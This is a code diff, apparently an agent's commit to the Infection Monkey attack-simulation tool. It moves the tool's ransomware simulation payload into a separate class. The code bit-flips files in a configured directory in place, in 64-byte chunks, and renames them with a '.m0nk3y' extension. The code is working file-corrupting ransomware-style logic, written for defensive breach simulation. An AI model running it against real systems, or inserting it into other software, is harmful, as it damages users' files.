agent: Extract bitflip encryption into its own class

monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py

@@ -0,0 +1,32 @@
+from pathlib import Path
+from typing import List
+
+from infection_monkey.utils import bit_manipulators
+
+
+class RansomwareBitflipEncryptor:
+    def __init__(self, new_file_extension, chunk_size=64):
+        self._new_file_extension = new_file_extension
+        self._chunk_size = chunk_size
+
+    def _add_extension(self, filepath: Path):
+        new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
+        filepath.rename(new_filepath)
+
+    def encrypt_files(self, file_list: List[Path]):
+        for filepath in file_list:
+            self._encrypt_single_file_in_place(filepath)
+            self._add_extension(filepath)
+
+    def _encrypt_single_file_in_place(self, filepath: Path):
+        with open(filepath, "rb+") as f:
+            data = f.read(self._chunk_size)
+            while data:
+                num_bytes_read = len(data)
+
+                encrypted_data = bit_manipulators.flip_bits(data)
+
+                f.seek(-num_bytes_read, 1)
+                f.write(encrypted_data)
+
+                data = f.read(self._chunk_size)

monkey/infection_monkey/ransomware/ransomware_payload.py

@@ -1,8 +1,8 @@
 import logging
 from pathlib import Path
 
+from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor
 from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION
-from infection_monkey.utils import bit_manipulators
 from infection_monkey.utils.dir_utils import (
     file_extension_filter,
     filter_files,
@@ -14,7 +14,6 @@ from infection_monkey.utils.environment import is_windows_os
 
 LOG = logging.getLogger(__name__)
 
-CHUNK_SIZE = 64
 EXTENSION = ".m0nk3y"
 
 
@@ -26,10 +25,11 @@ class RansomewarePayload:
         self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"]
         self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy()
         self._valid_file_extensions_for_encryption.discard(EXTENSION)
+        self._encryptor = RansomwareBitflipEncryptor(EXTENSION)
 
     def run_payload(self):
         file_list = self._find_files()
-        self._encrypt_files(file_list)
+        self._encryptor.encrypt_files(file_list)
 
     def _find_files(self):
         if not self._target_dir:
@@ -43,25 +43,3 @@ class RansomewarePayload:
 
         all_files = get_all_regular_files_in_directory(Path(self._target_dir))
         return filter_files(all_files, file_filters)
-
-    def _encrypt_files(self, file_list):
-        for filepath in file_list:
-            self._encrypt_file(filepath)
-            self._add_extension(filepath)
-
-    def _encrypt_file(self, filepath):
-        with open(filepath, "rb+") as f:
-            data = f.read(CHUNK_SIZE)
-            while data:
-                num_bytes_read = len(data)
-
-                encrypted_data = bit_manipulators.flip_bits(data)
-
-                f.seek(-num_bytes_read, 1)
-                f.write(encrypted_data)
-
-                data = f.read(CHUNK_SIZE)
-
-    def _add_extension(self, filepath: Path):
-        new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}")
-        filepath.rename(new_filepath)